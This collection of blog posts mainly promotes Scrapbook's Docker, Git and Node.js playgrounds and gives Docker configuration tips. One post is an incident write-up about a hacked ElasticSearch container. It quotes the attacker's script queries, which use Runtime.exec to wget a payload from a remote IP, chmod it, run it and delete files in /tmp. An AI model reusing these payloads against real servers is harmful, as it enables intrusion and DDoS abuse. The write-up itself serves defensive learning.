Learn Node.js v4 in your browser with Scrapbook’s #nodejs v4 playground

At Scrapbook we’re focused on making it easier to learn the latest technologies. Today we’re releasing a Node.js v4 playground.

This playground allows you learn the new features and changes without having to download or configure anything. You can load the playground at http://www.joinscrapbook.com/ben_hall/scenarios/node-v4

Node.js v4

The v4 release of Node.js is a significant change as it’s the first release since the io.js merger. Finally you can use the new ES6 features like Generators with Node.js. Try Generators & Node.js using Scrapbook

If you’re interested in helping us write scenarios and examples for Node.js v4 then please contact us

What happens when an ElasticSearch container is hacked

Being hacked is an interesting experience. There are five stages to being hacked. The first is denial defining there is no way someone could hack you. The second is blame believing it was another problem and not hackers. The third is acceptance and wondering if you were hacked. The fourth is fear of what they did!? The final stage is investigate and the fun starts to find out what they did.

These stages happened to me after launching an ElasticSearch instance on a Digital Ocean droplet using Docker. An external service required the instance of Elasticsearch but for a demo and never intended for production use. The problem arised after forgetting to turn off the Docker container and the droplet instance. Here’s what happen next.

Digital Ocean get unhappy

The first sign of anything going wrong was an email from Digitial Ocean. The email indicated that they’ve terminated network access to one of my droplets.

In the control panel the bandwidth graph indicated high outbound bandwidth. At it’s peak it was over 500Mbps. This had all the hallmarks of a outgoing DDoS attack but no idea how they gained entry.


With network access you can still control the droplet via Digital Ocean’s VNC console.

Investigating the hack

To start I performed the basic checks to see what went wrong. I checked for security updates nad processes running but nothing highlighted any issues. I ran standard debug tools such as lsof to check for open network connections and files but didn’t show anything. Turns out I rebooted the machine while attempting to regain access. This was a silly mistake as any active processes or connections closed. Part of the reason why Digital Ocean only remove network access is so you can debug the active state.

At this point I was confused. It’s then I looked towards the running Docker containers.

Analysing a Hacked Docker Instance

On the host I had a number of Docker containers running. One of these was the latest ElasticSearch.

After viewing the logs I found some really interesting entries. There were a higher number of errors than normal. These errors didn’t relate to the demo running and often they references to files in /tmp/. This caused alarm bells to start ringing.

What did the hackers do?

As ElasticSearch was running inside a container I could identify exactly the impact. I was also confident that the hack was contained and they didn’t gain access to the host.

The ElasticSearch logs gave clues to the commands executed. From the logs the hack attempt lasted from 2015-07-05 03:29:29,674 until 2015-07-11 06:54:02,332. This is likely to be when Digital Ocean pulled the plug.

The queries executed took the form of Java code. The code downloaded assets and then executed them.

org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<ip address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]
org.elasticsearch.search.SearchParseException: [esindex][4]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"chmod 777 /tmp/cmd\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]
org.elasticsearch.search.SearchParseException: [esindex][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"/tmp/cmd\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

The hackers cared enough to clean up after themselves, which was nice of them.

org.elasticsearch.search.SearchParseException: [esindex][2]: query[ConstantScore(*:*)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.*;import java.io.*;String str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"rm -r /tmp/*\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append(\"\r\n\");}sb.toString();"}}, "size": 1}]]

As the attack was still running they didn’t get chance to remove all the files. Every Docker container is based off an image. Any changes to the filesystem are stored separately. The command docker diff <container> lists files added or changed. Here’s the list:

C /bin
C /bin/netstat
C /bin/ps
C /bin/ss
C /etc
C /etc/init.d
A /etc/init.d/DbSecuritySpt
A /etc/init.d/selinux
C /etc/rc1.d
A /etc/rc1.d/S97DbSecuritySpt
A /etc/rc1.d/S99selinux
C /etc/rc2.d
A /etc/rc2.d/S97DbSecuritySpt
A /etc/rc2.d/S99selinux
C /etc/rc3.d
A /etc/rc3.d/S97DbSecuritySpt
A /etc/rc3.d/S99selinux
C /etc/rc4.d
A /etc/rc4.d/S97DbSecuritySpt
A /etc/rc4.d/S99selinux
C /etc/rc5.d
A /etc/rc5.d/S97DbSecuritySpt
A /etc/rc5.d/S99selinux
C /etc/ssh
A /etc/ssh/bfgffa
A /os6
A /safe64
C /tmp
A /tmp/.Mm2
A /tmp/64
A /tmp/6Sxx
A /tmp/6Ubb
A /tmp/DDos99
A /tmp/cmd.n
A /tmp/conf.n
A /tmp/ddos8
A /tmp/dp25
A /tmp/frcc
A /tmp/gates.lod
A /tmp/hkddos
A /tmp/hsperfdata_root
A /tmp/linux32
A /tmp/linux64
A /tmp/manager
A /tmp/moni.lod
A /tmp/nb
A /tmp/o32
A /tmp/oba
A /tmp/okml
A /tmp/oni
A /tmp/yn25
C /usr
C /usr/bin
A /usr/bin/.sshd
A /usr/bin/bsd-port
A /usr/bin/bsd-port/conf.n
A /usr/bin/bsd-port/getty
A /usr/bin/bsd-port/getty.lock
A /usr/bin/dpkgd
A /usr/bin/dpkgd/netstat
A /usr/bin/dpkgd/ps
A /usr/bin/dpkgd/ss

With the help of log files it looks like they uploaded and executed one command. This proceeded to download and launch the DDoS attack, a popular command and control pattern.

Investigating the files

My debug skills only go so far but I did manage to find a few tip bits of information. Most of the times are statically linked, either "application/octet-stream; charset=binary" or "ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=5036c5788090829d54797078db7c67a9b0571db4, stripped". It’s interesting to see the logs as you can spot them understanding if the OS is Windows or Linux.

The logs did highlight one source. Executed was wget -O /tmp/cmd http://<IP Address>:8009/cmd. This pointed towards a Windows 2003 server, running IIS, in China. This was likely hacked and then used as a distribution point.

The root cause

So what vulnerability did they exploit? It wasn’t an exploit, instead it used a feature of ElasticSearch. This demonstrates why you shouldn’t expose these types of services to the outside world. Docker makes it easy to expose services to the outside world but as a result it’s also easy to forget that people are looking for targets.

How the attack worked and the intended target is a little harder to understand. I’ve exported the container as an Docker image. If anyone is interested then please contact me and I’ll send you what I have.

Before the “Docker’s insecure” comments

If I had run the process on the host and opens the ports then it still would have been hacked. The only difference is they would have had access to the entire machine instead of just the container.

The reason why I was hacked is because I opened up a powerful database to the outside world to be accessed by other services.

I find it more interesting to consider how a new deployment approach like Docker could allow infrastructure to be secure by default. The future “Docker & Containers in Production” course on Scrapbook and my workshops will cover these aspects.


There are three major lessons to be taken away from this.

1) Don’t expose public services to the internet without authentication. Even for a short period of time.

2) It’s important to monitor containers for malicious activity and strange behaviour. I’ll cover how Scrapbook (my current project) handles this in a future blog post.

3) Next time I want to have a sandboxed environment then I’ll use Scrapbook to spin up sandboxed learning environments.

September 2015 – Docker talk (London) and workshop (Oslo)

With the summer behind us we rejoin the conference season. September sees me  presenting at Container Camp in London and running a workshop in Oslo.

London. 11th September – https://container.camp/

My talk at Container Camp on “Lessons from running potentially malicious code inside containers“. The talk will share insights into Docker’s security model and the lessons from building the online learning environment Scrapbook.

Oslo, Norway. 24th September 2015. – http://programutvikling.no/en/course/deploying-docker-and-containers-into-development-and-production/

I’ll also be running a workshop with ProgramUtvikling, the team behind NDC. The title is “Deploying Docker and Containers Into Development and Production”.

During October and November I’ll be presenting at a few conferences in Europe. I have some extra capacity, please contact me if you’re interested in container-based consultancy or training.


Try Docker 1.8 RC with Scrapbook

I love playing and exploring new approaches and technologies and understanding why they’re different. Yet many of the upcoming technologies have a high barrier to entry which removes the fun of learning. As such we set out to put the fun back into learning new technologies with Scrapbook.

The aim of Scrapbook has been to make it easier to learn and play with new technologies. We recently released Docker scenarios to teach Docker with an online learning environment.

Docker just announced the new 1.8 RC release which you can now try with Scrapbook. We’ve created a playground that has the latest Docker daemon and client for you to use.

Docker 1.8 on Scrapbook

The playground is available at app.joinscrapbook.com/ben_hall/scenarios/docker_rc

For a limited time only the Docker course is available for free.

Setting Docker’s DOCKER_OPTS on Ubuntu 15.04

The recent release of Ubuntu (15.04) introduced Systemd as a replacement for Upstart. Systemd is the init system for Linux and starts all the required services.

With new systems comes new approaches. One of the main activities is customising the launch of services such as Docker.

With Upstart, extra Docker launch parameters like storage devices are set in /etc/default/docker. An example is 'DOCKER_OPTS="-H unix:///var/run/docker.sock"'

With Systemd, you need to update Docker’s service file to use the extra parameters via a EnvironmentFile.


1) Docker’s system file can located at /lib/systemd/system/docker.service

2) The ExecStart line defines how to start a service. By default this is ExecStart=/usr/bin/docker -d -H fd://

3) Include the line EnvironmentFile=/etc/default/docker above ExecStart

4) Update the ExecStart to use the variable created.
ExecStart=/usr/bin/docker -d -H fd:// $DOCKER_OPTS

The complete docker.service file should look like

Description=Docker Application Container Engine
After=network.target docker.socket

ExecStart=/usr/bin/docker -d -H fd:// $DOCKER_OPTS


When the service starts it also includes the parameters defined in /etc/default/docker.

Two warnings:

1) If /etc/default/docker does not exist then it will fail to start

2) Every time you upgrade Docker the docker.service file is overridden meaning you need to repeat the above steps. This is why I find it useful to keep the variables in a separate file.

Docker’s Experimental Binary running in a Scrapbook Playground

As some of you are aware, I’m currently in the progress of building Scrapbook, an Interactive Learning Environment for Developers. The aim of Scrapbook has always been to make learning new technologies and frameworks easier and more interactive. By removing the need to download and configure the technologies you can jump straight into exploring while still having enough access and control to learn and break things in your own way.

Today Docker announced an easier way to try new bleeding edge features via an experimental binary.

“Docker’s experimental binary gives you access to bleeding edge features that are not in, and may never make it into, Docker’s official release.  An experimental build allows users to try out features early and give feedback to the Docker maintainers” http://blog.docker.com/2015/06/experimental-binary/

However experimental binaries by their very nature have unknown side-effects.

To make it easier for people to use the Docker Experimental Binary we’ve created a Playground on Scrapbook.  The playground has the latest version installed allowing you to explore the new features via your browser without having to download or install anything onto your local machine.

Docker experimental binary on Scrapbook

You can sign up for free at http://app.joinscrapbook.com/courses/docker-experimental/playground

If you want to learn more about the current features of Docker then take our interactive online course at http://app.joinscrapbook.com/courses/docker


Interactive Git Tutorials on Scrapbook

Git is now a key component of building software. While the basics are relatively simple to learn, the more advanced aspects can be difficult to pickup. The problem with learning Git, as with many technologies, is configuring a realistic scenario in order to start learning. If you’re using Git by yourself then it’s difficult to understand how to handle merge conflicts. Areas like Rebase and Cherry Picking are useful but just reading the man page doesn’t express why or when you would use them.

Many great resources already exist to help you learn Git but I find the best way for me to learn is to be hands-on and with examples to guide me. This is where Scrapbook comes in.

Scrapbook is a new interactive learning platform for developers. While many platforms aim to teach people the foundations of programming, very few support existing developers in keeping them up-to-date with the latest technologies and boost their experience.

The first course on Scrapbook focuses on Git and covers the common scenarios encountered. By combining a step-by-step tutorial explaining what’s happening along with a configured environment you can start learning instantly without having to download or config anything.

Git Course on Scrapbook

Currently in beta and for a limited time the course is available for free. Sign up at http://app.joinscrapbook.com/courses/git/

We’d love you’re feedback on the course, the platform and the topics you would like to see in future. You can reach us via SpeakToUs@joinscrapbook.com

Using Make To Manage Docker Image Creation

Like source code, Docker images are required to be built, tested and deployed before they can become containers.

While Docker doesn’t have a build framework, you can take advantage of Make to automate the build process across different environments. By using Make you can have a consistent and shared approach to managing your Docker images without the overhead of using task managers such as gulp.

To execute commands you need a Makefile. The Makefile contains a list of targets that define the commands and arguments required to be executed in order for a particular task to be performed, such as building a Docker image.

The contents of a Makefile might look like this:

    docker build -t benhall/docker-make-example .

With this in your project’s root directory, executing the command `make build` will now build the container image.

A Makefile can define multiple targets reflecting different actions. The template below demonstrates a useful Makefile template covering the common scenario’s for managing Docker images.

NAME = benhall/docker-make-demo

default: build

    docker build -t $(NAME) .

    docker push $(NAME)

    docker run --rm -it $(NAME) /bin/bash

    docker run --rm $(NAME)

release: build push

Learn Docker and Makefiles via Scrapbook, an Interactive Learning Environment.

Docker and Makefiles